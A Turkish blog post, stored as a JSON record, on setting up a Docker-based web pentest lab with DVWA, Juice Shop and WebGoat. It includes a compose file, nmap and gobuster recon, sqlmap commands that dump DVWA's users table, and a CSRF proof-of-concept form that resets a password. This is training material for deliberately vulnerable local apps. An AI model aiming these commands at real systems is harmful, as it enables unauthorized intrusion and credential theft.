{"id":35,"title":"Docker ile Web Uygulama Pentest Laboratuvar\u0131 Kurma","content":"<h1>Web Lab Docker &mdash; Docker ile Esnek Bir Web Uygulama Pentest Laboratuvar\u0131 Kurma Rehberi<\/h1>\r\n<p><strong>Giri\u015f<\/strong><br>Siber g&uuml;venlik, &ouml;zellikle web uygulama g&uuml;venli\u011fi alan\u0131nda pratik beceri her \u015feydir. Teorik bilgiyi peki\u015ftirmenin ve zafiyetleri ger&ccedil;ek d&uuml;nya senaryolar\u0131nda ke\u015ffetmenin en etkili yolu, kendinize ait bir laboratuvar ortam\u0131 kurmakt\u0131r. Bu rehberde, Ignitetechnologies&rsquo;in siber g&uuml;venlik yol haritalar\u0131ndan ilham alarak Docker kullan\u0131m\u0131yla nas\u0131l h\u0131zl\u0131, esnek ve ta\u015f\u0131nabilir bir web uygulama s\u0131zma testi (pentest) laboratuvar\u0131 kurabilece\u011finizi ad\u0131m ad\u0131m ele alaca\u011f\u0131z.<\/p>\r\n<hr>\r\n<h2>Neden Bir Pentest Laboratuvar\u0131na \u0130htiyac\u0131n\u0131z Var?<\/h2>\r\n<p>Kendi laboratuvar\u0131n\u0131zda &ccedil;al\u0131\u015fmak size \u015funlar\u0131 sa\u011flar:<\/p>\r\n<ul>\r\n<li>\r\n<p>SQL Injection, XSS, CSRF gibi farkl\u0131 zafiyet t&uuml;rlerini g&uuml;venli ortamda test etme imk&acirc;n\u0131.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Burp Suite, OWASP ZAP, Nmap gibi ara&ccedil;lar\u0131n ger&ccedil;ek kullan\u0131m\u0131n\u0131 &ouml;\u011frenme.<\/p>\r\n<\/li>\r\n<li>\r\n<p>&ldquo;K\u0131rm\u0131z\u0131 tak\u0131m&rdquo; (sald\u0131r\u0131) ve &ldquo;mavi tak\u0131m&rdquo; (savunma) perspektiflerini kar\u015f\u0131la\u015ft\u0131rma.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Yeni ke\u015ffedilen zafiyetleri (zero-day v.b.) deneysel olarak analiz etme.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>Neden Docker?<\/h2>\r\n<p>Geleneksel VM tabanl\u0131 laboratuvarlar s\u0131k kaynak harcar ve kurulumu uzun s&uuml;rer. Docker ise:<\/p>\r\n<ul>\r\n<li>\r\n<p><strong>H\u0131z ve hafiflik<\/strong>: Konteynerler saniyeler i&ccedil;inde ba\u015flar, az disk\/RAM kullan\u0131r.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Ta\u015f\u0131nabilirlik<\/strong>: Dockerfile \/ docker-compose ile t&uuml;m ortam kod olarak ta\u015f\u0131n\u0131r.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>\u0130zolasyon<\/strong>: Her uygulama izole konteynerde &ccedil;al\u0131\u015f\u0131r; hatalar yay\u0131lmaz.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Haz\u0131r ekosistem<\/strong>: Docker Hub&rsquo;da DVWA, bWAPP, Juice Shop gibi haz\u0131r zafiyetli uygulamalar bulunur.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>Laboratuvar Tasla\u011f\u0131 &mdash; Ak\u0131l Haritas\u0131 Ad\u0131mlar\u0131<\/h2>\r\n<p>Ignitetechnologies&rsquo;in &ldquo;Web App Docker&rdquo; ak\u0131l haritas\u0131ndan yola &ccedil;\u0131karak temel bile\u015fenler \u015funlard\u0131r:<\/p>\r\n<h3>1. Temel Bile\u015fenler<\/h3>\r\n<ul>\r\n<li>\r\n<p><strong>Sald\u0131rgan Makinesi (Attacker Machine)<\/strong>: Kali Linux veya Parrot OS tabanl\u0131 bir konteyner; Metasploit, Nmap, Burp Suite, sqlmap gibi ara&ccedil;lar\u0131 i&ccedil;erir.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Hedef Uygulamalar (Target Applications)<\/strong>: Pratik i&ccedil;in &ouml;rnek uygulamalar:<\/p>\r\n<ul>\r\n<li>\r\n<p><strong>OWASP Juice Shop<\/strong> &mdash; modern JS uygulama zafiyetleri.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>DVWA (Damn Vulnerable Web Application)<\/strong> &mdash; PHP\/MySQL temelli klasik zafiyetler.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>bWAPP<\/strong> &mdash; 100&rsquo;den fazla zafiyet.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>WebGoat<\/strong> &mdash; OWASP taraf\u0131ndan haz\u0131rlanm\u0131\u015f interaktif e\u011fitim uygulamas\u0131.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n<\/ul>\r\n<h3>2. A\u011f Yap\u0131land\u0131rmas\u0131<\/h3>\r\n<ul>\r\n<li>\r\n<p><code>docker-compose<\/code> ile t&uuml;m konteynerleri tek bir <strong>bridge network<\/strong> i&ccedil;inde &ccedil;al\u0131\u015ft\u0131r. Bu, sald\u0131rgan makinesinin hedeflere eri\u015fimini kolayla\u015ft\u0131r\u0131r ve ayn\u0131 zamanda laboratuvar\u0131 ana sistemden izole eder.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<h3>3. Kurulum ve Ba\u015flatma<\/h3>\r\n<ul>\r\n<li>\r\n<p>T&uuml;m servisleri <code>docker-compose.yml<\/code> i&ccedil;inde tan\u0131mla.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Laboratuvar\u0131 aya\u011fa kald\u0131r: <code>docker-compose up -d<\/code><\/p>\r\n<\/li>\r\n<li>\r\n<p>Laboratuvar\u0131 durdur: <code>docker-compose down<\/code><\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>G&uuml;venlik ve Sorumluluk<\/h2>\r\n<ul>\r\n<li>\r\n<p>Laboratuvar\u0131 yaln\u0131zca <strong>izole bir a\u011fda<\/strong> &ccedil;al\u0131\u015ft\u0131r; internet&rsquo;e a&ccedil;\u0131k hale getirme.<\/p>\r\n<\/li>\r\n<li>\r\n<p>&Ouml;\u011frenme ama&ccedil;l\u0131 bile olsa, ger&ccedil;ek hedeflere izinsiz sald\u0131rma yasa d\u0131\u015f\u0131d\u0131r. Her zaman yasal ve etik kurallara uy.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>Pratik \u0130pu&ccedil;lar\u0131<\/h2>\r\n<ul>\r\n<li>\r\n<p><strong>S&uuml;r&uuml;m kontrol&uuml;:<\/strong> <code>docker-compose.yml<\/code> ve Dockerfile&rsquo;lar\u0131n\u0131 git ile takip et.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Anl\u0131k g&ouml;r&uuml;nt&uuml; (snapshot):<\/strong> Denemeler &ouml;ncesi ve sonras\u0131 konteyner yap\u0131land\u0131rmalar\u0131n\u0131 kaydet.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Loglama:<\/strong> Sald\u0131r\u0131 ve hedef uygulama loglar\u0131n\u0131 toplay\u0131p kar\u015f\u0131la\u015ft\u0131r &mdash; &ouml;\u011frenme &ccedil;ok daha etkili olur.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Otomasyon:<\/strong> S\u0131k kulland\u0131\u011f\u0131n senaryolar i&ccedil;in basit scriptler yaz (ba\u015flat\/durdur\/test raporu olu\u015fturma).<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<p>Docker ve Ignitetechnologies gibi kaynaklar\u0131n sundu\u011fu ak\u0131l haritalar\u0131, modern bir pentest laboratuvar\u0131 kurmak i&ccedil;in g&uuml;&ccedil;l&uuml; bir kombinasyon sunar. Kaynaklar\u0131 verimli kullanarak ta\u015f\u0131nabilir ve tekrarlanabilir bir ortam elde eder, siber g&uuml;venlik becerilerinizi h\u0131zla geli\u015ftirebilirsiniz. Bug&uuml;n GitHub&rsquo;daki ilgili repolar\u0131 ve Docker Hub&rsquo;daki zafiyetli uygulamalar\u0131 inceleyerek kendi laboratuvar\u0131n\u0131z\u0131 aya\u011fa kald\u0131r\u0131n.<\/p>\r\n<hr>\r\n<p>Harika &mdash; a\u015fa\u011f\u0131da <strong>iki b&ouml;l&uuml;m<\/strong> halinde haz\u0131rlad\u0131m:<\/p>\r\n<ol>\r\n<li>\r\n<p><strong>Haz\u0131r, &ccedil;al\u0131\u015ft\u0131r\u0131labilir <code>docker-compose.yml<\/code> &ouml;rne\u011fi<\/strong> (hem Juice Shop hem DVWA dahil, a\u011f izolasyonu, kal\u0131c\u0131 veriler). Bu dosyay\u0131 do\u011frudan kullan\u0131p <code>docker-compose up -d<\/code> ile laboratuvar\u0131 aya\u011fa kald\u0131rabilirsin. (Baz\u0131 image isimleri zamanla de\u011fi\u015febilir &mdash; gerekirse Docker Hub&rsquo;dan do\u011frula.)<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Daha teknik b&ouml;l&uuml;m<\/strong>: ad\u0131m ad\u0131m &ouml;rnek sald\u0131r\u0131 senaryolar\u0131 (SQLi, XSS, CSRF), kullan\u0131lan komutlar (sqlmap, Burp Suite, Nmap) ve hangi ekran g&ouml;r&uuml;nt&uuml;lerini (screenshot) alman gerekti\u011fine dair net talimatlar. Bu sayede yaz\u0131y\u0131 hem &ouml;\u011fretici hem de prati\u011fe d&ouml;n&uuml;k hale getirebilirsin.<\/p>\r\n<\/li>\r\n<\/ol>\r\n<p>Her \u015fey T&uuml;rk&ccedil;e, SEO-dostu ve blogda do\u011frudan kullanabilece\u011fin formatta. Hadi ba\u015flayal\u0131m!<\/p>\r\n<hr>\r\n<h1>1) <code>docker-compose.yml<\/code> &mdash; &Ccedil;al\u0131\u015f\u0131r &Ouml;rnek (Juice Shop + DVWA + Attacker)<\/h1>\r\n<blockquote>\r\n<p>Not: A\u015fa\u011f\u0131daki <code>docker-compose.yml<\/code> laboratuvar\u0131 izole bir bridge network &uuml;zerinde &ccedil;al\u0131\u015ft\u0131r\u0131r. <code>attacker<\/code> servisi Kali tabanl\u0131 bir g&ouml;r&uuml;nt&uuml; i&ccedil;erir; <code>juice_shop<\/code> ve <code>dvwa<\/code> &ouml;rnek hedef uygulamalard\u0131r. DVWA i&ccedil;in MySQL servisi eklenmi\u015ftir. E\u011fer ba\u015fka hedefler (bWAPP, WebGoat vb.) eklenecekse benzer servis bloklar\u0131 eklemen yeterli.<\/p>\r\n<\/blockquote>\r\n<pre><code class=\"language-yaml\">version: \"3.8\"\r\n\r\nservices:\r\n  # Attacker machine (lightweight kali)\r\n  attacker:\r\n    image: kalilinux\/kali-rolling:latest\r\n    container_name: attacker\r\n    tty: true\r\n    stdin_open: true\r\n    networks:\r\n      - web-lab\r\n    volumes:\r\n      - .\/attacker-data:\/root\r\n    command: \/bin\/bash\r\n    restart: unless-stopped\r\n\r\n  # OWASP Juice Shop (Node.js app, oyunla\u015ft\u0131r\u0131lm\u0131\u015f)\r\n  juice_shop:\r\n    image: bkimminich\/juice-shop:latest\r\n    container_name: juice_shop\r\n    environment:\r\n      - NODE_ENV=development\r\n    ports:\r\n      - \"3000:3000\"   # yerel taray\u0131c\u0131dan eri\u015fim istersen\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\n  # DVWA (Damn Vulnerable Web App) + MySQL\r\n  dvwa_db:\r\n    image: mysql:5.7\r\n    container_name: dvwa_db\r\n    environment:\r\n      MYSQL_ROOT_PASSWORD: rootpass\r\n      MYSQL_DATABASE: dvwa\r\n      MYSQL_USER: dvwauser\r\n      MYSQL_PASSWORD: dvwapass\r\n    volumes:\r\n      - dvwa_db_data:\/var\/lib\/mysql\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\n  dvwa:\r\n    image: vulnerables\/web-dvwa:latest\r\n    container_name: dvwa\r\n    environment:\r\n      - MYSQL_HOST=dvwa_db\r\n      - MYSQL_USER=dvwauser\r\n      - MYSQL_PASSWORD=dvwapass\r\n      - MYSQL_DATABASE=dvwa\r\n    ports:\r\n      - \"8081:80\"   # yerel taray\u0131c\u0131dan eri\u015fim istersen\r\n    networks:\r\n      - web-lab\r\n    depends_on:\r\n      - dvwa_db\r\n    restart: unless-stopped\r\n\r\n  # (\u0130ste\u011fe ba\u011fl\u0131) OWASP WebGoat &ouml;rne\u011fi\r\n  webgoat:\r\n    image: webgoat\/webgoat:latest\r\n    container_name: webgoat\r\n    ports:\r\n      - \"8080:8080\"\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\nnetworks:\r\n  web-lab:\r\n    driver: bridge\r\n\r\nvolumes:\r\n  dvwa_db_data:\r\n  attacker-data:\r\n<\/code><\/pre>\r\n<p>Kullan\u0131m:<\/p>\r\n<ol>\r\n<li>\r\n<p>Bu dosyay\u0131 <code>docker-compose.yml<\/code> ad\u0131yla bir klas&ouml;re koy.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Klas&ouml;rde terminal a&ccedil;: <code>docker-compose up -d<\/code><\/p>\r\n<\/li>\r\n<li>\r\n<p>Servislerin durumunu kontrol et: <code>docker-compose ps<\/code> veya <code>docker ps<\/code><\/p>\r\n<\/li>\r\n<li>\r\n<p>Attacker konteynerine gir: <code>docker exec -it attacker \/bin\/bash<\/code><\/p>\r\n<\/li>\r\n<li>\r\n<p>Juice Shop: <code>http:\/\/localhost:3000<\/code> &mdash; DVWA: <code>http:\/\/localhost:8081<\/code> &mdash; WebGoat: <code>http:\/\/localhost:8080<\/code><\/p>\r\n<\/li>\r\n<\/ol>\r\n<blockquote>\r\n<p>G&uuml;venlik: Laboratuvar\u0131 &uuml;retim a\u011f\u0131ndan <strong>kesinlikle<\/strong> izole et. Bilgisayar\u0131n internete ba\u011fl\u0131ysa bile docker a\u011f\u0131 d\u0131\u015far\u0131ya a&ccedil;\u0131k portlar arac\u0131l\u0131\u011f\u0131yla eri\u015fim olabilir; yaln\u0131zca yerelde eri\u015fim istiyorsan port y&ouml;nlendirmelerini kald\u0131r veya firewall kurallar\u0131na dikkat et.<\/p>\r\n<\/blockquote>\r\n<hr>\r\n<h1>2) Teknik Rehber: Ad\u0131m Ad\u0131m Sald\u0131r\u0131 \/ Test Senaryolar\u0131 (Ekran g&ouml;r&uuml;nt&uuml;leri ile)<\/h1>\r\n<p>A\u015fa\u011f\u0131da &uuml;&ccedil; temel senaryo i&ccedil;in ad\u0131mlar, kullan\u0131lacak komutlar, &ouml;rnek &ccedil;\u0131kt\u0131lar ve hangi ekran g&ouml;r&uuml;nt&uuml;lerini alman gerekti\u011fi yer al\u0131yor. Her b&ouml;l&uuml;mde sald\u0131rgan konteynerinde &ccedil;al\u0131\u015faca\u011f\u0131n\u0131 varsay\u0131yorum.<\/p>\r\n<h2>A) Haz\u0131rl\u0131k &amp; Ke\u015fif<\/h2>\r\n<h3>Ama&ccedil;<\/h3>\r\n<p>Hedef hakk\u0131nda bilgi topla: a&ccedil;\u0131k portlar, servis versiyonlar\u0131, uygulama rotalar\u0131.<\/p>\r\n<h3>Ara&ccedil;lar<\/h3>\r\n<ul>\r\n<li>\r\n<p>Nmap<\/p>\r\n<\/li>\r\n<li>\r\n<p>dirb veya gobuster<\/p>\r\n<\/li>\r\n<li>\r\n<p>curl<\/p>\r\n<\/li>\r\n<\/ul>\r\n<h3>Ad\u0131mlar<\/h3>\r\n<ol>\r\n<li>\r\n<p>Attacker konteynerine gir:<\/p>\r\n<pre><code class=\"language-bash\">docker exec -it attacker \/bin\/bash\r\napt update &amp;&amp; apt install -y nmap gobuster curl\r\n<\/code><\/pre>\r\n<p>(Kali imaj\u0131nda &ccedil;o\u011fu ara&ccedil; haz\u0131r olur; yoksa apt ile y&uuml;kle.)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Hedef servisleri tara (&ouml;r: DVWA <code>dvwa:80<\/code>, Juice Shop <code>:3000<\/code>):<\/p>\r\n<pre><code class=\"language-bash\">nmap -sC -sV -p- --open 172.18.0.0\/16\r\n<\/code><\/pre>\r\n<p>(Yerel a\u011f IP aral\u0131\u011f\u0131n\u0131 kullan. Alternatif olarak <code>nmap -sV dvwa<\/code> veya <code>nmap -p- $(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' dvwa)<\/code>)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Web dizinleri ke\u015ffi:<\/p>\r\n<pre><code class=\"language-bash\">gobuster dir -u http:\/\/localhost:8081 -w \/usr\/share\/wordlists\/dirb\/common.txt\r\n<\/code><\/pre>\r\n<\/li>\r\n<\/ol>\r\n<h3>Al\u0131nacak ekran g&ouml;r&uuml;nt&uuml;leri<\/h3>\r\n<ul>\r\n<li>\r\n<p><code>nmap<\/code> tarama &ccedil;\u0131kt\u0131s\u0131 (filename: <code>screenshots\/01-nmap.png<\/code>)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Gobuster sonu&ccedil;lar\u0131 (<code>screenshots\/02-gobuster.png<\/code>)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Hedef uygulama ana sayfas\u0131 (DVWA veya Juice Shop) (<code>screenshots\/03-target-home.png<\/code>)<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>B) SQL Injection (DVWA &ouml;rne\u011fi)<\/h2>\r\n<h3>Ama&ccedil;<\/h3>\r\n<p>Basit SQLi a&ccedil;\u0131\u011f\u0131n\u0131 bulup <code>sqlmap<\/code> ile veri taban\u0131ndan veri &ccedil;ekmek.<\/p>\r\n<h3>Haz\u0131rl\u0131k<\/h3>\r\n<ul>\r\n<li>\r\n<p>DVWA&rsquo;de Security seviyesini Low yap (uygulama i&ccedil;inden ayar).<\/p>\r\n<\/li>\r\n<li>\r\n<p>Giri\u015f yap: (DVWA default kullan\u0131c\u0131 genelde admin\/password).<\/p>\r\n<\/li>\r\n<\/ul>\r\n<h3>Ad\u0131mlar<\/h3>\r\n<ol>\r\n<li>\r\n<p>Hedef formu tespit et (&ouml;r: <code>http:\/\/localhost:8081\/vulnerabilities\/sqli\/<\/code>).<\/p>\r\n<\/li>\r\n<li>\r\n<p><code>sqlmap<\/code> ile test:<\/p>\r\n<pre><code class=\"language-bash\">sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&amp;Submit=Submit\" --cookie=\"PHPSESSID=; security=low\" --dbs --batch\r\n<\/code><\/pre>\r\n<ul>\r\n<li>\r\n<p><code>--cookie<\/code> ile oturum bilgisi ver; <code>--batch<\/code> otomatik onaylar.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n<li>\r\n<p>Belirli bir veritaban\u0131n\u0131 &ccedil;ek:<\/p>\r\n<pre><code class=\"language-bash\">sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&amp;Submit=Submit\" --cookie=\"...\" -D dvwa --tables\r\nsqlmap -u \"...\" --cookie=\"...\" -D dvwa -T users --dump\r\n<\/code><\/pre>\r\n<\/li>\r\n<\/ol>\r\n<h3>Ekran g&ouml;r&uuml;nt&uuml;leri<\/h3>\r\n<ul>\r\n<li>\r\n<p>Vulnerable form sayfas\u0131 (<code>screenshots\/10-dvwa-sqli-form.png<\/code>)<\/p>\r\n<\/li>\r\n<li>\r\n<p>sqlmap tarama sonucu (dbs\/list) (<code>screenshots\/11-sqlmap-dbs.png<\/code>)<\/p>\r\n<\/li>\r\n<li>\r\n<p>dump edilmi\u015f tablo &ouml;rne\u011fi (<code>screenshots\/12-sqlmap-dump.png<\/code>)<\/p>\r\n<\/li>\r\n<\/ul>\r\n<h3>Notlar<\/h3>\r\n<ul>\r\n<li>\r\n<p>DVWA gibi uygulamalarda &ouml;nce \"Create \/ Reset DB\" butonunu kullan.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Her komutta <code>--threads<\/code> veya <code>--tamper<\/code> parametreleriyle sqlmap hassas kontrol sa\u011flayabilirsin.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>C) XSS (Juice Shop veya DVWA Stored\/Reflected)<\/h2>\r\n<h3>Ama&ccedil;<\/h3>\r\n<p>Reflected veya Stored XSS tespiti, PoC payload ile taray\u0131c\u0131da JavaScript &ccedil;al\u0131\u015ft\u0131rma.<\/p>\r\n<h3>Ara&ccedil;lar<\/h3>\r\n<ul>\r\n<li>\r\n<p>Basit payload:<\/p>\r\n<\/li>\r\n<li>\r\n<p>Burp Suite (proxy) veya OWASP ZAP<\/p>\r\n<\/li>\r\n<\/ul>\r\n<h3>Ad\u0131mlar<\/h3>\r\n<ol>\r\n<li>\r\n<p>Taray\u0131c\u0131y\u0131 attacker &uuml;zerinden &ccedil;al\u0131\u015ft\u0131r\u0131yorsan veya host taray\u0131c\u0131y\u0131 kullan\u0131yorsan Burp\/ZAP proxy ayarla. (Burp: 127.0.0.1:8080)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Hedef form veya yorum alan\u0131na payload g&ouml;nder:<\/p>\r\n<pre><code class=\"language-html\">\r\n<\/code><\/pre>\r\n<p>(PoC i&ccedil;in alert kullan; veri s\u0131zd\u0131rma senaryosu daha sofistike.)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Burp Repeater ile payload&rsquo;\u0131 manip&uuml;le et ve cevaplar\u0131 incele.<\/p>\r\n<\/li>\r\n<\/ol>\r\n<h3>Ekran g&ouml;r&uuml;nt&uuml;leri<\/h3>\r\n<ul>\r\n<li>\r\n<p>Injection yap\u0131lm\u0131\u015f input alan\u0131 (<code>screenshots\/20-xss-input.png<\/code>)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Taray\u0131c\u0131da a&ccedil;\u0131lan alert veya ba\u015far\u0131l\u0131 PoC (<code>screenshots\/21-xss-alert.png<\/code>)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Burp Proxy history ve iste\u011fin payload ile g&ouml;r&uuml;n&uuml;m&uuml; (<code>screenshots\/22-burp-request.png<\/code>)<\/p>\r\n<\/li>\r\n<\/ul>\r\n<h3>Notlar<\/h3>\r\n<ul>\r\n<li>\r\n<p>Stored XSS'de payload hedef veritaban\u0131na kaydolur; sayfa her ziyaret edildi\u011finde &ccedil;al\u0131\u015f\u0131r.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Modern taray\u0131c\u0131lar i&ccedil;erik g&uuml;venlik politikalar\u0131 (CSP) uygulayabilir &mdash; Juice Shop sandbox ortam\u0131nda &ccedil;o\u011fu test serbesttir.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>D) CSRF (Cross-Site Request Forgery)<\/h2>\r\n<h3>Ama&ccedil;<\/h3>\r\n<p>Basit bir CSRF PoC ile oturumlu kullan\u0131c\u0131ya istenmeyen i\u015flem yapt\u0131rmak.<\/p>\r\n<h3>Ad\u0131mlar<\/h3>\r\n<ol>\r\n<li>\r\n<p>DVWA gibi uygulamada oturum a&ccedil; (&ouml;r: admin).<\/p>\r\n<\/li>\r\n<li>\r\n<p>Hedef i\u015flem var m\u0131 (&ouml;r: \u015fifre de\u011fi\u015fikli\u011fi, ip &ccedil;alma)? Bul.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Basit CSRF HTML dosyas\u0131 haz\u0131rla:<\/p>\r\n<pre><code class=\"language-html\"><!-- csrf-poc.html -->\r\n\r\n  \r\n    <\/code><\/pre>\r\n<form action=\"http:\/\/localhost:8081\/vulnerabilities\/csrf\/\" method=\"POST\"><input name=\"password_new\" type=\"hidden\" value=\"hacked123\"> <input name=\"password_conf\" type=\"hidden\" value=\"hacked123\"><\/form>\r\n<pre><code class=\"language-html\">\r\n    \r\n  \r\n\r\n<\/code><\/pre>\r\n<\/li>\r\n<li>\r\n<p>\u0130\u015flemi oturum a&ccedil;\u0131kken kullan\u0131c\u0131 ziyaret ederse (ve uygulamada CSRF token yoksa) i\u015flem ger&ccedil;ekle\u015fir.<\/p>\r\n<\/li>\r\n<\/ol>\r\n<h3>Ekran g&ouml;r&uuml;nt&uuml;leri<\/h3>\r\n<ul>\r\n<li>\r\n<p>Hedef i\u015flem formu (<code>screenshots\/30-csrf-form.png<\/code>)<\/p>\r\n<\/li>\r\n<li>\r\n<p>PoC HTML'in sunulmas\u0131 ve ba\u015far\u0131l\u0131 sonu&ccedil; (<code>screenshots\/31-csrf-success.png<\/code>)<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>E) Post-Exploit \/ Loglama \/ Raporlama<\/h2>\r\n<h3>&Ouml;neriler<\/h3>\r\n<ul>\r\n<li>\r\n<p>Her testten sonra ba\u015far\u0131l\u0131 ad\u0131mlar\u0131 not al, hangi payloadlar i\u015fe yarad\u0131, hangi header&rsquo;lar de\u011fi\u015ftirildi.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Oturum ve uygulama loglar\u0131n\u0131 <code>\/var\/www\/html\/...\/logs<\/code> veya ilgili storage&rsquo;dan topla.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Basit Markdown tabanl\u0131 rapor olu\u015ftur: bulgu, risk seviyesi, istismar\u0131n tekrar\u0131, d&uuml;zeltme &ouml;nerisi.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<p>&Ouml;rnek rapor ba\u015fl\u0131klar\u0131:<\/p>\r\n<ul>\r\n<li>\r\n<p>&Ouml;zet (Executive Summary)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Test kapsam\u0131 ve metodoloji<\/p>\r\n<\/li>\r\n<li>\r\n<p>Buluntular (CVE benzeri format: ID, Description, Risk, Reproduction, Fix)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Ekran g&ouml;r&uuml;nt&uuml;leri ve veri d&ouml;k&uuml;mleri<\/p>\r\n<\/li>\r\n<li>\r\n<p>Sonu&ccedil; ve &ouml;neriler<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>Ekran G&ouml;r&uuml;nt&uuml;leri \u0130&ccedil;in \u0130pu&ccedil;lar\u0131<\/h2>\r\n<ul>\r\n<li>\r\n<p>Taray\u0131c\u0131 penceresini tam ekran kullan.<\/p>\r\n<\/li>\r\n<li>\r\n<p><code>png<\/code> format\u0131 tercihi: <code>screenshots\/-.png<\/code>.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Her ekran g&ouml;r&uuml;nt&uuml;s&uuml;nde tarih ve saat olsun &mdash; OS saat dilimine g&ouml;re ekleyebilirsin.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Terminal &ccedil;\u0131kt\u0131lar\u0131 i&ccedil;in terminal fontunu b&uuml;y&uuml;t ve arka plan\u0131 temizle; uzun &ccedil;\u0131kt\u0131lar\u0131 k\u0131rpma, &ouml;nemli k\u0131s\u0131mlar\u0131 ekle.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<p>&nbsp;<\/p>\r\n<h1>1)&nbsp;<code>Dockerfile<\/code> &mdash; &ouml;zel attacker image<\/h1>\r\n<blockquote>\r\n<p>Not: Burp Suite Community \/ Professional <code>.jar<\/code> dosyas\u0131 telifli oldu\u011fundan bu imaja otomatik indirilmeye &ccedil;al\u0131\u015f\u0131lmaz. E\u011fer Burp kullanmak istersen <code>burpsuite_community.jar<\/code> (veya pro) dosyas\u0131n\u0131 build context&rsquo;e koyup <code>--build-arg INCLUDE_BURP=yes<\/code> ile build edebilirsin. Alternatif olarak OWASP ZAP (a&ccedil;\u0131k kaynak) otomatik kurulur.<\/p>\r\n<\/blockquote>\r\n<pre><code class=\"language-Dockerfile\"># Dockerfile.attacker\r\nFROM kalilinux\/kali-rolling\r\n\r\nARG INCLUDE_BURP=no\r\nARG BURP_JAR=burpsuite.jar\r\n\r\nENV DEBIAN_FRONTEND=noninteractive\r\nRUN apt-get update &amp;&amp; apt-get install -y \\\r\n    python3 python3-pip git curl wget net-tools iputils-ping \\\r\n    default-jre-headless openjdk-11-jre-headless \\\r\n    sqlmap chromium \\\r\n    xvfb x11vnc supervisor unzip \\\r\n    zaproxy \\\r\n    &amp;&amp; apt-get clean &amp;&amp; rm -rf \/var\/lib\/apt\/lists\/*\r\n\r\n# pip ara&ccedil;lar\u0131 (iste\u011fe ba\u011fl\u0131)\r\nRUN pip3 install --upgrade pip &amp;&amp; pip3 install requests\r\n\r\n# &Ccedil;al\u0131\u015fma dizini\r\nWORKDIR \/root\r\n\r\n# E\u011fer build arg ile burp eklenmi\u015fse kopyala (kullan\u0131c\u0131 kendi yerel jar'\u0131n\u0131 sa\u011flamal\u0131)\r\n# Not: Dockerfile i&ccedil;inde telifli dosyalar\u0131n otomatik indirilmesi uygun de\u011fildir.\r\nARG INCLUDE_BURP\r\nCOPY ${BURP_JAR} \/opt\/burp\/${BURP_JAR}\r\n\r\n# Basit bir ba\u015flatma scripti: shell a&ccedil;mak i&ccedil;in\r\nCOPY docker-entrypoint.sh \/usr\/local\/bin\/docker-entrypoint.sh\r\nRUN chmod +x \/usr\/local\/bin\/docker-entrypoint.sh\r\n\r\n# Portlar (&ouml;r. Burp GUI i&ccedil;in 8081, VNC i&ccedil;in 5900 vs. iste\u011fe ba\u011fl\u0131)\r\nEXPOSE 5900 8081\r\n\r\nENTRYPOINT [\"\/usr\/local\/bin\/docker-entrypoint.sh\"]\r\nCMD [\"\/bin\/bash\"]\r\n<\/code><\/pre>\r\n<p><code>docker-entrypoint.sh<\/code> (ayn\u0131 klas&ouml;rde olu\u015ftur):<\/p>\r\n<pre><code class=\"language-bash\">#!\/bin\/bash\r\n# Basit entrypoint: kullan\u0131c\u0131 interaktif shell al\u0131r.\r\n# E\u011fer burp jar varsa uyar\u0131 ver.\r\nif [ -f \/opt\/burp\/burpsuite.jar ]; then\r\n  echo \"[*] burp.jar bulundu: \/opt\/burp\/burpsuite.jar\"\r\n  echo \"[*] GUI kullanmak istersen X11 y&ouml;nlendirme veya 